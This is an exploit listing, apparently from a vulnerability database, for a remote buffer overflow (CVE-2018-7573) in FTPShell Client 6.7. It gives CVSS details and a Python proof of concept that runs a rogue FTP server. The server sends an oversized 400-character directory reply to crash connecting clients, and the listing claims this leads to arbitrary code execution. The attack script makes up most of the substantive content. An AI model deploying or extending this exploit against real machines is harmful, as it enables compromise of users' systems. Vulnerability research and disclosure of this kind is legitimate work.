FTPShell Client v6.7 Buffer Overflow

2018.03.01
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: FTPShell Client v6.7 Buffer Overflow # Vector: A remote attacker can send 400 characters of "F" to crash the application and after this overflow you will can to run your arbitrary code on the victim machine. # CVEs: CVE-2018-7573 # CWEs: CWE-119 # Dork: N/A # Discovered By: Ali Abdollahi # Attack Type: Remote # Date: 2018-02-27 ---------------------------------------------------------------------------------------------------------------- References: #!/usr/bin/python import socket,sys port = 21 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("Hacker IP Address", port)) s.listen(5) print("[i] FTP server started on port: "+str(port)+"\r\n") except: print("[!] Failed to bind the server to port: "+str(port)+"\r\n") buffer = "F" * 400 while True: conn, addr = s.accept() conn.send('220 Welcome to FTP server\r\n') print(conn.recv(1024)) conn.send("331 OK\r\n") print(conn.recv(1024)) conn.send('230 OK\r\n') print(conn.recv(1024)) conn.send('220 "'+buffer+'" is current directory\r\n')


Vote for this issue:
82%
18%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top